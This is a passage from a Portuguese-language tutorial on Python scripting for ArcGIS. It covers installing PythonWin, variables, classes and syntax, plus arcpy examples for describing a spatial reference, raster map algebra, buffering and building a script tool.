ferramenta da seguinte forma: • Execute a ferramenta interativamente (por exemplo, buffer) com seus dados de entrada, dados de saída e quaisquer outros parâmetros relevantes (por exemplo, distância ao buffer) • Vá para a janela Geoprocessing -> Results e clique com o botão direito do mouse na execução da ferramenta concluída. • Escolha "Copy as Python Snippet" • Cole o código no PythonWin ou na janela de código Python para ver como você codificaria a mesma operação que você acabou de executar no Desktop no Python. Instalando o PythonWin Se você instalou uma versão do ArcGIS, você já deve ter o Python em seu computador, normalmente em uma pasta chamada algo como C:\Python27\ArcGIS10.x\. Você pode escrever código Python a qualquer momento no Bloco de Notas ou em outros editores e salvá-lo como um arquivo .py, mas é necessário ter o Python instalado para que seu computador possa entender e executar o programa. Neste curso, estaremos trabalhando com o Python versão 2.7.x. Se você verificar a página de download do Python em sua home page em www.python.org (novamente, você não precisará baixar o Python, apenas dê uma olhada!), Você verá que existem versões realmente superiores do Python acessível. As versões 3 e superiores do Python contêm algumas mudanças importantes que levaram algum tempo para a comunidade de usuários do Python e a ESRI adotarem. O Python vem com um editor padrão simples chamado IDLE; no entanto, neste curso, você usará o ambiente de desenvolvimento integrado (IDE) do PythonWin para ajudá-lo a escrever código. O PythonWin é gratuito, tem recursos básicos de depuração. Nós aqui iremos baixar e instalar a versão do PythonWin do repositório PythonWin GitHub em https://github.com/mhammond/pywin32/releases . É importante que você use a versão "win32" para Python 2.7 e não os executáveis “amd64" que são para instalar a versão de 64 bits do PythonWin, que é compatível apenas com o ArcGIS for Server, não com o ArcGIS for Desktop. Por favor siga as instruções abaixo: • Baixe o arquivo de instalação do PythonWin neste link: https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win32- py2.7.exe • Inicie a instalação iniciando o arquivo baixado pywin32-2xx.win32-py2.7.exe. (Se você estiver usando o Windows Vista ou o Windows 7, clique com o botão direito do mouse nesse arquivo e escolha Executar como administrador e, quando solicitado, escolha Permitir que ele seja executado.) 26 • Clique em Avançar através do assistente para instalar o PythonWin. • O PythonWin não coloca um atalho do Windows em lugar algum, então você pode fazer um você mesmo. Quando a instalação estiver concluída, use Meu Computador (ou "Computador") para procurar o local onde você instalou o PythonWin. Provavelmente está em C:\Python27\ArcGIS10.x\Lib\site-packages\pythonwin. • Clique com o botão direito do mouse no item PythonWin.exe e clique em Criar atalho. Você deve ver um atalho do Windows aparecer imediatamente abaixo do item PythonWin. • Arraste e solte o atalho na sua área de trabalho ou onde quer que você queira colocá-lo. No Windows Vista ou Windows 7, se você vir mensagens de erro durante a instalação, é provável que você não tenha executado a instalação como um Administrador. Ao iniciar a instalação, clique com o botão direito do mouse e escolha Executar como administrador. Explorando o PythonWin Aqui está uma breve explicação das principais partes do PythonWin. Antes de começar a ler, abra o PythonWin para que você possa acompanhar. Quando o PythonWin abrir, você verá o que é conhecido como a Janela Interativa. Você pode digitar uma linha de Python no prompt >>> e ela imediatamente executará e imprimirá o resultado, se houver um resultado imprimível. A Janela Interativa pode ser um bom lugar para praticar com o Python neste curso, e sempre que você vir algum código Python ao lado do prompt >>> nos materiais da lição, isso significa que você pode digitá-lo na Janela Interativa para acompanhar. Desta forma, a Janela Interativa é muito semelhante à janela do Python no ArcGIS. A janela interativa no PythonWin Para realmente escrever um novo script, clique em File> New e escolha Python Script. Observe uma página em branco se abre que parece muito com o Bloco de Notas. No entanto, o interessante dessa interface é que o código é codificado por cores e a fonte padrão, Courier, é aquela normalmente usada pelos programadores. O espaçamento e o recuo, que são importantes no Python, também são fáceis de acompanhar nessa interface. A barra de ferramentas Standard 27 contém ferramentas para carregar, executar e salvar scripts. Esta barra de ferramentas é visível por padrão. Observe os botões Undo / Redo , que podem ser úteis para você como programador se você começar a codificar algo e perceber que percorreu o caminho errado, ou se você excluir uma linha de código e quiser recuperá-la. Observe também o botão Execute , que parece uma pequena pessoa correndo. Essa é uma boa maneira de testar seus scripts sem precisar clicar duas vezes no arquivo no Windows Explorer. A barra de ferramentas de Debugging contém ferramentas para revisar cuidadosamente seu código linha por linha para ajudá-lo a detectar erros. Esta barra de ferramentas é visível clicando em View > Toolbar > Debugging. A barra de ferramentas Depuração é extremamente valiosa para você como programador e você aprenderá a usá-la posteriormente neste curso. Essa barra de ferramentas é um dos principais motivos para usar um Ambiente de Desenvolvimento Integrado (IDE) em vez de gravar seu código em um editor de texto simples como o Bloco de Notas. Trabalhando com variáveis É hora de praticar um pouco com alguns conceitos de programação iniciais que ajudarão você a escrever scripts simples em Python até o final da Aula 1. Vamos começar examinando as variáveis. Lembre-se da sua primeira aula introdutória de álgebra, onde você aprendeu que um caractere poderia representar qualquer número, como na declaração x + 3. Esta pode ter sido sua primeira exposição a variáveis. Na ciência da computação, as variáveis representam valores ou objetos que você deseja que o computador armazene em sua memória para uso posterior no programa. Variáveis são frequentemente usadas para representar não apenas números, mas também valores de texto e “booleanos” ('true' ou 'false'). Uma variável pode ser usada para armazenar uma entrada do usuário do programa, para armazenar valores retornados de outro programa, para representar valores constantes e assim por diante. Variáveis tornam seu código legível e flexível. Se você codificar seus valores, o que significa que você sempre usa o valor literal, seu código é útil somente em um cenário específico. Você pode alterar manualmente os valores em seu código para ajustar-se a um cenário diferente, mas isso é entediante e expõe a um risco maior de cometer um erro (suponha que você tenha se esquecido de alterar algum valor). As variáveis, por outro lado, permitem que seu código seja útil em muitos cenários e sejam fáceis de parametrizar, o que significa que você pode permitir que os usuários alterem os seus valores para o que precisarem. Para ver algumas variáveis em ação, abra o PythonWin e digite isso na Janela Interativa: >>> x = 2 28 Você acabou de criar ou declarou uma variável x e definir seu valor como 2. Em algumas linguagens de programação fortemente tipificadas, como Java, você precisaria informar ao programa que estava criando uma variável numérica, mas o Python assume isso quando você digita o 2. Quando você aperta Enter, nada acontece, mas o programa agora tem essa variável na memória. Para provar isso, digite: >>> x + 3 Você vê a resposta desta expressão matemática, 5, aparecer imediatamente na Janela Interativa, provando que sua variável foi lembrada e usada. Você também pode usar o comando print para gravar os resultados das operações. Nós vamos usar muito isso quando praticar e testar código. >>> print (x + 3) 5 Variáveis também podem representar palavras ou cadeias de caracteres, como são referidas pelos programadores. Tente digitá-lo na janela interativa: >>> meuTime = "Time do bairro" >>> print (meuTime) Time do bairro Neste exemplo, as aspas informam ao Python que você está declarando uma variável de string. Python é uma linguagem poderosa para trabalhar com strings. Um exemplo muito simples de manipulação de strings é adicionar ou concatenar duas strings, desta forma: >>> string1 = "Nós Somos" >>> string2 = "EESC USP!" >>> print (string1 + string2) Nós somos EESC USP! Você pode incluir um número em uma variável de string colocando-o entre aspas, mas depois deve tratá-lo como uma string; você não pode tratá-lo como um número. Por exemplo, isso resulta em um erro: >>> meuValor = "3" >>> print (meuValor + 2) Nestes exemplos você viu o uso do sinal = para atribuir o valor da variável. Você sempre pode reatribuir a variável. Por exemplo: >>> x = 5 >>> x = x - 2 >>> print (x) 3 Ao nomear suas variáveis, as dicas a seguir ajudarão você a evitar erros. • Nomes de variáveis diferenciam maiúsculas de minúsculas. minhaVariavel é uma variável diferente do MinhaVariavel. 29 • Nomes de variáveis não podem conter espaços. • Nomes variáveis não podem começar com um número. • Uma prática recomendada para variáveis Python é nomear a variável começando com uma letra minúscula e, em seguida, começar cada palavra subseqüente com uma letra maiúscula. Isso às vezes é conhecido como invólucro de camelo. Por exemplo: minhaVariavel, minhaSegundaVariavel, tabelaRodovias, campoBuffer1, etc. • As variáveis não podem ser nenhuma das palavras reservadas especiais do Python, como "import" ou "print". Torne os nomes das variáveis significativos para que os outros possam ler facilmente o seu código. Isso também ajudará você a ler seu código e evitar cometer erros. Você terá muita experiência trabalhando com variáveis ao longo deste curso e aprenderá mais em lições futuras. Leituras Leia o capítulo 4.5 de Zandbergen (Variables and naming). O Capítulo 4 aborda os fundamentos da sintaxe Python, loops, strings e outras coisas que veremos mais detalhadamente adiante, mas sinta-se à vontade para ler um pouco agora se tiver tempo. Objetos e programação orientada a objetos As variáveis numéricas e de string com as quais trabalhamos anteriormente representam tipos de dados que são construídos no Python. As variáveis também podem representar outras coisas, como conjuntos de dados SIG, tabelas, linhas e o geoprocessador que vimos anteriormente que podem executar ferramentas. Todas essas coisas são objetos que você usa quando trabalha com o ArcGIS em Python. Em Python, tudo é um objeto. Todos os objetos possuem: • Um ID único ou localização na memória do computador • Um conjunto de propriedades que descrevem o objeto • Um conjunto de métodos ou coisas que o objeto pode fazer Uma maneira de entender objetos é comparar a execução de uma operação em uma linguagem procedural (como FORTRAN) para executar a mesma operação em uma linguagem orientada a objetos. Vamos fingir que estamos escrevendo um programa para fazer um sanduíche de manteiga de amendoim e geleia. Se fôssemos escrever o programa em uma linguagem procedural, fluiria algo assim: • Vá até a geladeira e pegue a geleia e o pão. • Vá até o armário e pegue a manteiga de amendoim. • Retire duas fatias de pão. • Abra os frascos. • Pegue uma faca. 30 • Coloque um pouco de manteiga de amendoim na faca. • etc. • etc. Se fôssemos escrever o programa em uma linguagem orientada a objeto, poderia ser assim: • mySandwich = Sandwich.Make • mySandwich.pão = Trigo • mySandwich.Adiciona (manteiga de amendoim) • mySandwich.Adiciona (geleia) No exemplo orientado a objetos, a maior parte das etapas foi eliminada. O objeto sanduíche "sabe como" se construir, dado apenas algumas informações. Esse é um recurso importante de linguagens orientadas a objetos conhecidas como encapsulamento. Observe que você pode definir as propriedades do sanduíche (como o tipo de pão) e executar métodos (lembre-se de que são ações) no sanduíche, como adicionar a manteiga de amendoim e a geleia. Classes A razão pela qual é tão fácil "fazer um sanduíche" em uma linguagem orientada a objetos é que algum programador, em algum lugar, já fez o trabalho para definir o que é um sanduíche e o que você pode fazer com ele. Ele ou ela fez isso usando uma Classe. Uma classe define como criar um objeto, as propriedades e os métodos disponíveis para esse objeto, como as propriedades são definidas e usadas e o que cada método faz. Uma classe pode ser considerada como uma planta para criar objetos. O blueprint determina quais propriedades e métodos um objeto dessa classe terá. Uma analogia comum é a de uma fábrica de automóveis. Uma fábrica de carros produz milhares de carros do mesmo modelo, todos construídos no mesmo modelo básico. Da mesma forma, uma classe produz objetos que possuem as mesmas propriedades e métodos predefinidos. Em Python, as classes são agrupadas em módulos. Você importa módulos em seu código para dizer ao seu programa com quais objetos você estará trabalhando. Você mesmo pode escrever módulos, mas provavelmente você os importará de outras partes ou pacotes de software. Por exemplo, a primeira linha da maioria dos scripts que você escreve neste curso será: import arcpy Aqui você está usando a palavra-chave import para dizer ao seu script que você estará trabalhando com o módulo arcpy, que é fornecido como parte do ArcGIS. Depois de importar este módulo, você pode criar objetos que alavancam o ArcGIS em seus scripts. Outros módulos que você pode importar neste curso são OS (permite que você trabalhe com o sistema operacional), Randon (permite a geração de números aleatórios), CSV (permite a leitura e gravação de arquivos de planilha em formato de valor separado por vírgula), e Math (permite que você trabalhe com operações matemáticas avançadas). Esses 31 módulos estão incluídos no Python, mas não são importados por padrão. Uma prática recomendada para manter seus scripts rápidos é importar apenas os módulos necessários para esse script específico. Por exemplo, embora possa não causar erros no seu script, você não incluiria a importação arcpy em um script que não requer nenhuma função do ArcGIS. Leituras Leia o capítulo 5.8 (Classes) de Zandbergen para mais informações sobre classes. Herança Outra característica importante das linguagens orientadas a objetos é a herança. As classes são organizadas em um relacionamento hierárquico, de modo que cada classe herda suas propriedades e métodos da classe acima na hierarquia (sua classe pai ou superclasse). Uma classe também passa suas propriedades e métodos para a classe abaixo dela (sua classe filha ou subclasse). Uma analogia do mundo real envolve a classificação de espécies animais. Como espécie, temos muitas características exclusivas dos seres humanos. No entanto, também herdamos muitas características de classes superiores na hierarquia de classes. Temos algumas características como resultado de sermos vertebrados. Temos outras características como resultado de sermos mamíferos. Para ilustrar o ponto, pense na capacidade dos humanos de correr. Nossos corpos respondem ao nosso comando de correr não porque pertencemos à classe "humana", mas porque herdamos essa característica de alguma classe superior na hierarquia de classes. De volta ao contexto de programação, a lição a ser aprendida é que vale a pena saber onde uma classe se encaixa na hierarquia de classes. Sem essa informação, você não terá conhecimento de todas as operações disponíveis para você. Essas informações sobre heranças podem ser encontradas em pôsteres informativos chamados diagramas de modelos de objetos. Aqui está um exemplo de uma parte do diagrama de modelo de objeto para o ArcGIS Python Geoprocessor em 10.x. 32 Diagrama de modelo de objeto para o ArcGIS Python Geoprocessor Dê uma olhada na caixa verde intitulada FeatureClass Properties e observe na coluna do meio, segundo a partir do topo, Propriedades do Dataset. Isso ocorre porque FeatureClass herda todas as propriedades do DataSet. Portanto, quaisquer propriedades em um objeto DataSet, como Extent ou SpatialReference, também podem ser obtidas se você criar um objeto FeatureClass. Além de todas as propriedades que ele herda do Dataset, o FeatureClass tem suas próprias propriedades especializadas, como FeatureType e ShapeType (na caixa superior, na coluna da esquerda). Sintaxe do Python Toda linguagem de programação tem regras sobre capitalização, espaço em branco, como separar linhas de código e procedimentos, e assim por diante. Aqui estão algumas regras básicas de sintaxe para lembrar do Python: • O Python diferencia maiúsculas de minúsculas nos nomes de variáveis e palavras reservadas. Isso significa que é importante se você usa letras maiúsculas ou minúsculas. A minúscula "print" é uma palavra reservada no Python que imprimirá um valor, enquanto "Print" não é reconhecido pelo Python e retornará um erro. Da mesma 33 forma, o módulo arcpy é muito sensível a sintaxe e retornará um erro se você tentar executar uma ferramenta sem capitalizar o nome da ferramenta. • Você finaliza uma instrução Python pressionando Enter e iniciando literalmente uma nova linha. (Em algumas outras linguagens, um caractere especial, como um ponto- e-vírgula, indica o final de uma instrução.) Não há problema em adicionar linhas vazias para dividir seu código em seções lógicas. • Se você tiver uma instrução longa que deseja exibir em várias linhas para facilitar a leitura, será necessário usar um caractere de continuação de linha, que em Python é uma barra invertida (\). Você pode continuar digitando na linha abaixo e o Python interpretará a sequência de linhas como uma instrução. Uma exceção é se você estiver no meio de parênteses () ou colchetes [], o Python entende que você está continuando as linhas e que nenhuma barra invertida é necessária. • A indentação é necessária no Python para agrupar logicamente determinadas linhas ou blocos de código. Você deve recuar seu código em quatro espaços dentro de loops, if / then statements e try / except statements. Na maioria das linguagens de programação, os desenvolvedores são encorajados a usar o recuo para agrupar logicamente blocos de código; no entanto, no Python, o recuo dessas construções de linguagem não é apenas incentivado, mas necessário. Embora esse requisito possa parecer pesado, ele resulta em maior legibilidade. • Você pode adicionar um comentário ao seu código iniciando a linha com um sinal de libra (#). Comentários são linhas que você inclui para explicar o que o código está fazendo. Comentários são ignorados pelo Python quando ele executa o script, para que você possa adicioná-los em qualquer lugar em seu código sem se preocupar com o efeito deles. Os comentários ajudam outras pessoas que podem ter que trabalhar com seu código no futuro; e eles podem até ajudá-lo a lembrar o que o código faz no caso de você precisar alterá-lo. Exemplo: Imprimindo a referência espacial de uma classe de feições Este primeiro script de exemplo retorna a referência espacial (sistema de coordenadas) de uma classe de feições armazenada em um geodatabase: 1 # Abre uma feature class de um geodatabase e retorna a sua 2 # referência espacial 3 4 import arcpy 5 6 featureClass = "C:/SEA5923/Dados/BaseDados.gdb/Limite" 7 8 # O comando Describe aponta para as propriedades da fc 9 desc = arcpy.Describe(featureClass) 34 10 referenciaEspacial = desc.spatialReference 11 12 # Retorna o nome da referência espacial 13 print (referenciaEspacial.Name) Isso pode parecer intimidador no início, então vamos ver o que está acontecendo neste script, linha por linha. Nas linhas 1, 2, 8 e 12 são utilizados comentários que tentam elucidar as operações que seguem após os comentários, é importante que o analista se acostume em comentar o código de forma que outros usuários possam ter o real entendimento do que o script está realizando. Na linha 4 importamos o módulo arcpy, de forma que o IDE tenha acesso às classes de códigos das ferramentas de geoprocessamento da ESRI. Na linha 6 é criada uma variável chamada featureClass, do tipo string, pois recebe um valor entre aspas, que armazena o endereço de uma feature class (Limite) armazenada dentro de um geodatabase (BaseDados.gdb). Na linha 9, nós realmente chamamos um método do arcpy. O método Describe nos devolve um objeto de descrição da feature class. Nós mencionamos no material do curso que tudo em Python é um objeto. Objetos têm propriedades que os descrevem e métodos que são coisas que eles podem fazer. Se você quiser aprender mais sobre o objeto de descrição. Você pode procurar na ajuda da ESRI. Em nosso caso, o objeto de descrição terá uma referência espacial. Agora, antes de sairmos da linha 9, precisamos ter atenção aos parênteses. Então, quando você chama o método arcpy.Describe. você precisa colocar algo dentro desses parênteses, que é o caminho da classe de feições que você deseja descrever. Agora não precisamos digitar o caminho completo novamente porque criamos uma variável anteriormente para representar isso. Então é aqui que você pode colocar o nome da variável da classe de feição e o Python lerá como o caminho real. Então, depois da linha 9, temos um objeto de descrição. Esse objeto descrito possui uma propriedade que é a referência espacial. Então, na linha 10, é isso que conseguimos. "desc" é o nome do nosso objeto de descrição e .spatialReference nos fornece um objeto de referência espacial. Agora não podemos imprimir um objeto, se você tentar imprimir um objeto na janela interativa, você vai ter um monte de texto que é difícil de entender, então nós realmente precisamos obter uma propriedade fora deste objeto de referência espacial e esta propriedade é o nome da referência espacial. Então é por isso que na linha 13 nós usamos spatialRef.name. A essa altura, fomos longe o suficiente para chegarmos a uma string, referenciaEspacial.name apenas retorna uma string com a referência espacial e é imprimível na janela interativa. Como resultado obtemos: “GCS_SIRGAS_2000”. Mais uma vez, observe que: • Um comentário começa o script para explicar o que vai acontecer. 35 • A diferenciação de maiúsculas e minúsculas é aplicada no código. "import" é tudo em minúsculas. Então é "imprimir". O nome do módulo "arcpy" é sempre referido como "arcpy", não "ARCPY" ou "Arcpy". Da mesma forma, "Describe" é capitalizado em arcpy.Describe. • Os nomes das variáveis featureClass, desc e referenciaEspacial que o programador atribuiu são curtos, mas intuitivos. Ao olhar para o nome da variável, você pode adivinhar rapidamente o que ela representa. • O script cria objetos e usa uma combinação de propriedades e métodos nesses objetos para realizar o trabalho. É assim que funciona a programação orientada a objetos. Tentando o exemplo por si mesmo A melhor maneira de se familiarizar com uma nova linguagem de programação é examinar o código de exemplo e praticar com você mesmo. Veja se você pode modificar o script acima para relatar a referência espacial de uma classe de feições existente em seu computador. No exemplo, a classe de feições está em um arquivo geodatabase; você precisará modificar a estrutura do caminho featureClass se estiver usando um shapefile (por exemplo, você colocará .shp no final do nome do arquivo e não terá .gdb no caminho). Siga este padrão para experimentar o exemplo: • Abra o PythonWin e clique em File> New. • Escolha Python script e clique em OK. • Escreva o código acima e modifique-o para ajustar seus dados (mude o caminho se for necessário). • Salve seu script como um arquivo .py. • Clique no botão Execute para executar o script. Certifique-se de que a Janela Interativa esteja visível quando você fizer isso, porque é onde você verá a saída da palavra-chave de impressão. Leituras Se você é novo em script Python, pode ser útil ver os conceitos de outro ponto de vista. Leia as partes dos capítulos 4 e 5 de Zandbergen. Esta será uma introdução valiosa ao Python no ArcGIS, sobre como trabalhar com ferramentas e caixas de ferramentas e também sobre alguns conceitos que serão revisitados posteriormente. O Capítulo 4 trata dos fundamentos do Python. Vamos precisar de alguns deles para começar e vamos revisitar este capítulo a frente. Por enquanto, leia as seções 4.1-4.7 revisando o que lemos em 4.5 anteriormente. O Capítulo 5 fala sobre o trabalho com o arcpy e suas funções - leia as seções 5.1-5.6. Exemplo: Realizando álgebra de mapas com um raster Aqui está outro script simples que localiza todas as células acima de 750 metros em um MDT e que codifica todas essas células como 1. Os valores restantes são codificados 36 como 0. Esse tipo de operação de “álgebra de mapa” é comum em seleção de áreas e outros cenários de SIG. Algo que você pode não reconhecer no script abaixo é a expressão Raster (inRaster). Esta função apenas diz ao ArcGIS que ele precisa tratar sua variável inRaster como um conjunto de dados raster para que você possa executar a álgebra de mapa a partir dela. Se você não fizer isso, o script tratará inRaster como apenas uma sequência literal de caracteres (o caminho) em vez de um conjunto de dados raster. 1 # Este script usa algebra de mapa para encontrar valores 2 # em um raster maiores que 750 metros 3 4 import arcpy 5 from arcpy.sa import * 6 7 # Especifica o dado raster de entrada 8 rasterEntrada = "C:/SEA5923/Dados/MDE_500m.tiff" 9 elevacaoCorte = 750 10 11 # Realiza a algebra de mapa e salva o resultado 12 rasterSaida = Raster(rasterEntrada) > elevacaoCorte 13 rasterSaida.save("C:/SEA5923/Dados/MDE_Alt750") Comece examinando esse script e tentando descobrir o máximo que puder com base no que você lembra dos scripts anteriores que viu. Os principais pontos a serem lembrados neste script são: • rasterEntrada começa como uma string, mas depois é usado para criar um objeto Raster quando você executa Raster(rasterEntrada). Um objeto Raster é um objeto especial usado para trabalhar com conjuntos de dados tipo imagem ou modelos numéricos no ArcGIS. Ele não está disponível em nenhum script Python: você pode usá- lo somente se importar o módulo arcpy na parte superior do script. • elevacaoCorte é uma variável numérica que você declara no início do seu script e depois usa quando você cria a expressão de álgebra do mapa para sua rasterSaida. • A expressão rasterSaida = Raster (rasterEntrada)> elevacaoCorte está dizendo, em termos simples, "Crie uma nova imagem e chame-a de rasterSaida. Faça isso tomando todas as células do conjunto de dados raster no caminho de rasterEntrada que são maiores que o número I atribuído à variável elevacaoCorte". • rasterSaida também é um objeto Raster, mas você deve chamar o método rasterSaida.save() para torná-lo permanente no disco. O método save() recebe um argumento, que é o caminho para o qual você deseja salvar. • Agora tente executar o script usando o modelo de elevação digital (DEM) MDE_500m.tiff de sua pasta de dados. Se não funcionar na primeira vez, verifique se: 37 • Você forneceu os caminhos corretos de entrada e saída. • O nome do caminho contém barras (/) ou barras invertidas duplas (\\), não barras invertidas simples (\). • Você tem o Spatial Analyst Extension instalado e habilitado. Para verificar isso, abra o ArcMap, clique em Cutomize > Extensions... e verifique se Spatial Analyst está marcado. • Você não tem nenhum dos conjuntos de dados abertos no ArcMap. • Os dados de saída ainda não existem. Se você quiser sobrescrever a saída, você precisa adicionar a linha arcpy.env.overwriteOutput = True. Esta linha pode ser colocada imediatamente após a importação do módulo arcpy. Você pode experimentar esse script usando valores diferentes na expressão de álgebra do mapa (tente 1000 por exemplo). Leituras Leia as seções do Capítulo 5 que falam sobre variáveis de ambiente e licenças (5.9 e 5.11) que abordamos nesta parte da lição. Exemplo: Criando buffers Pense no exemplo anterior em que você executou alguma álgebra de mapa em um modelo de elevação. Se você quisesse alterar o valor de sua elevação de corte para 1000 em vez de 750, você teria que abrir o script em si e alterar o valor da variável elevacaoCorte diretamente no código. Este terceiro exemplo é um pouco diferente. Em vez de codificar os valores necessários para a ferramenta (em outras palavras, incluir literalmente os valores no script), usaremos algumas variáveis ou parâmetros de entrada do usuário. Isso permite que as pessoas experimentem valores diferentes no script sem alterar o próprio código. Assim como no ModelBuilder, os parâmetros disponibilizam seu script para um público mais amplo. O exemplo simples abaixo apenas executa a ferramenta Buffer, mas permite que o usuário insira o caminho dos conjuntos de dados de entrada e saída, bem como a distância do buffer. Os parâmetros fornecidos pelo usuário entram no script com o método arcpy.GetParameterAsText(). Examine cuidadosamente o script abaixo, mas não tente executá-lo ainda. Você fará isso na próxima parte da lição. 1 # Este script executa a ferramenta Buffer. O usuário indica 2 # os caminhos de entrada e saída, e a distância do buffer. 3 4 import arcpy 5 arcpy.env.overwriteOutput = True 38 6 7 try: 8 # inserção dos parâmetros 9 entrada = arcpy.GetParameterAsText(0) 10 saida = arcpy.GetParameterAsText(1) 11 distanciaBuffer = arcpy.GetParameterAsText(2) 12 13 # execução da ferramenta 14 arcpy.Buffer_analysis(entrada, saida, distanciaBuffer) 15 16 # Mensagem de sucesso 17 arcpy.AddMessage("Tudo certo!") 18 19 except: 20 # Mensaem de erro 21 arcpy.AddError("Não foi possível completar o buffer") 22 23 # Adiciona mensagens fornecidas da própria ferramenta 24 arcpy.AddMessage(arcpy.GetMessages()) Novamente, examine o código acima linha por linha e descubra o máximo possível sobre o que o código faz. Se necessário escreva notas ao lado de cada linha. Aqui estão alguns dos principais pontos a serem entendidos: • GetParameterAsText() é uma função do módulo arcpy. Observe que é necessário um inteiro (0, 1, 2, 3, etc.) como um argumento. Se você for seguir em frente e criar uma ferramenta a partir desse script, como faremos na próxima parte desta lição, é importante definir os parâmetros na mesma ordem em que você deseja que eles apareçam na caixa de diálogo da ferramenta. • Quando chamamos a ferramenta Buffer nesse script, fornecemos apenas três parâmetros. Por não fornecer mais, aceitamos os valores padrão para o restante dos parâmetros da ferramenta. • Os blocos de código try/except são uma maneira de evitar que o script falhe se houver algum um erro. Seu script tenta executar todo o código no bloco try. Se o script não puder continuar por algum motivo, ele pula e executa o código no bloco except. Inserir blocos try/except como aqui é uma boa prática de código quando você acha que tirou todos os erros do seu script, ou quando quer ter certeza de que seu código irá executar uma certa quantidade de linhas, não importa o que aconteça. Quando você está escrevendo e depurando seu script pelas primeiras vezes, é mais útil deixar de lado os blocos try/except e deixar o código travar, porque as mensagens de erro (vermelhas) informadas na Janela Interativa às vezes fornecem melhores dicas sobre 39 como diagnosticar o problema de seu código. Suponha que você coloque uma declaração de impressão em seu bloco, except dizendo "Houve um erro. Por favor, tente novamente." Para o usuário final do seu script, isso é melhor do que ver uma mensagem de erro desagradável (vermelha); no entanto, como um programador depurando o script, você deseja ver a mensagem de erro (vermelha) para obter informações sobre o que deu errado. • Os métodos arcpy.AddMessage() e arcpy.AddError() são formas de adicionar mensagens adicionais ao usuário da ferramenta. Sempre que você executa uma ferramenta, o geoprocessador imprime mensagens, as quais você provavelmente já viu antes (por exemplo, “Executed (Buffer) successfully. End time: Sat Jun 22 07:37:31 2019”). Você tem o poder de adicionar mais mensagens por meio desses métodos. Quando você usa arcpy.GetMessages(), você obtém todas as mensagens geradas pela própria ferramenta. Estes lhe dirão coisas como se o usuário inseriu parâmetros inválidos. Observe neste script a sintaxe um pouco complexa que você precisa usar para primeiro obter as mensagens e, em seguida, adicione-as: arcpy.AddMessage(arcpy.GetMessages()) . Se essa linha de código for confusa para entender, lembre-se de que a ordem das funções funciona como operações matemáticas: você começa trabalhando dentro dos parênteses primeiro para obter as mensagens e depois as adiciona. Os métodos AddError e addMessage são utilizados apenas quando fazemos ferramentas de script para rodar no ArcMap. Quando você está apenas executando um script no PythonWin (não fazendo uma ferramenta de script), você ainda pode obter as mensagens usando uma instrução print com GetMessages(), assim: print arcpy.GetMessages(). Leituras Leia as seções do Capítulo 5 que fala sobre como trabalhar com mensagens de ferramenta (5.10) para outra perspectiva sobre como lidar com a saída da ferramenta. Fazendo uma ferramenta de script As variáveis de entrada do usuário que você recupera por meio do comando GetParameterAsText() facilitam muito a conversão de seu script em uma ferramenta no ArcGIS. Algumas poucas pessoas sabem como alterar um código Python, outras poucas sabem executar um script Python e fornecer as variáveis de entrada do script, mas quase todos os usuários do ArcGIS sabem como abrir o ArcToolbox e executar uma ferramenta. Para terminar esta lição, vamos pegar o script anterior e transformá-lo em uma ferramenta que pode ser facilmente executada no ArcGIS. Antes de começar este exercício, eu recomendo fortemente que você verifique o tópico de ajuda do ArcGIS Adicionando uma ferramenta de script. Você provavelmente não entenderá todas as partes deste tópico ainda, mas lhe dará alguma familiaridade com as ferramentas de script que serão úteis durante o exercício. Siga estas etapas para criar uma ferramenta de script: • Copie o código da tarefa "Exemplo: Criando Buffers" em um novo script PythonWin e salve-o como buffer_user_input.py. 40 • Abra o ArcMap e exiba a janela Catalog. • Expanda os nós Toolboxes> My Tollboxes. • Clique com o botão direito em My Toolboxes e clique em New> Toolbox. • Dê um nome à sua caixa de ferramentas, como "MyScriptTools". • Clique com o botão direito na sua nova caixa de ferramentas e clique em Add> Script. • Preencha as propriedades Name, Label e Description para sua ferramenta Script, conforme mostrado abaixo: Inserindo informações para sua ferramenta de script. • Clique em Avançar (Next) e forneça o arquivo de script. Para fazer isso, clique no ícone da pasta e navegue até o arquivo buffer_user_input.py. • Clique em Avançar (Next) e examine a caixa de diálogo exibida. É aqui que você pode especificar os parâmetros do seu script. Os parâmetros são os valores para os quais você usou arcpy.GetParameterAsText() no seu script, ou seja, entrada, saida e distanciaBuffer. Você usará essa caixa de diálogo para listar esses parâmetros na mesma ordem, exceto que você pode fornecer aos parâmetros nomes mais fáceis de entender. • Na coluna Display Name que você vê na parte superior deste assistente, clique na primeira célula vazia e digite “Classe de feições de entrada”. • Imediatamente à direita, clique na primeira célula vazia na coluna Data Type e escolha Feature Class. Aqui está uma das grandes vantagens de criar uma ferramenta 41 de script. Em vez de aceitar qualquer string como entrada (que pode conter um erro), sua ferramenta agora aplicará o requisito de que uma classe de feições seja usada como entrada. O ArcGIS irá ajudá-lo, confirmando que o valor inserido é um caminho para uma classe de feições válida. Ele até fornecerá aos usuários da sua ferramenta um botão de navegação para que eles possam navegar até a classe de recursos. Adicionando parâmetros • Assim como você fez na etapa anterior, adicione um segundo parâmetro denominado “Classe de feições de saída”. O tipo de dados deve ser novamente Feature Class. • Com o parâmetro de Classe de feições de saída ainda realçado, olhe para baixo na parte Parameter Properties da caixa de diálogo. Altere a propriedade de direção (Direction) para saída (Output). Alterando as propriedades de um parâmetro • Adicione uma terceira propriedade chamada “Distância do buffer”. Escolha Linear Unit como o tipo de dados. Esse tipo de dados permitirá que o usuário da ferramenta selecione o valor da distância e as unidades (por exemplo, milhas, quilômetros, etc.). 42 • Com o parâmetro Distância do Buffer ainda destacado, olhe novamente para a seção Parameter Properties. Defina a propriedade Default como "5 Kilometers" (não inclua as aspas). Sua caixa de diálogo deve se parecer com o que você vê abaixo: Inserindo valores de entrada padrão em um parâmetro • Clique em Finish e, na janela Catalog, abra sua nova ferramenta de script clicando duas vezes nela. Ferramenta completa pronta para rodar • Experimente a sua ferramenta colocando em buffer qualquer classe de feições de seu computador. Observe que, uma vez que você fornece a classe de feições de entrada, um caminho da classe de feições de saída é sugerido para você. Isso ocorre porque você define especificamente a Classe de Recurso de Saída como um parâmetro de saída. Além disso, quando a ferramenta estiver concluída, examine a janela Resultados da mensagem personalizada "Tudo certo!" que você adicionou em seu código. 43 Resultado após a execução • Este é um exemplo muito simples e, obviamente, você poderia simplesmente executar a ferramenta Buffer out-of-the-box com resultados semelhantes. Normalmente, quando você cria uma ferramenta de script, ela é apoiada por um script que executa uma combinação de ferramentas e aplica alguma lógica que torna essas ferramentas especialmente úteis. • Há outro benefício para este exemplo. Observe a simplicidade da nossa caixa de diálogo da ferramenta de script em comparação com a 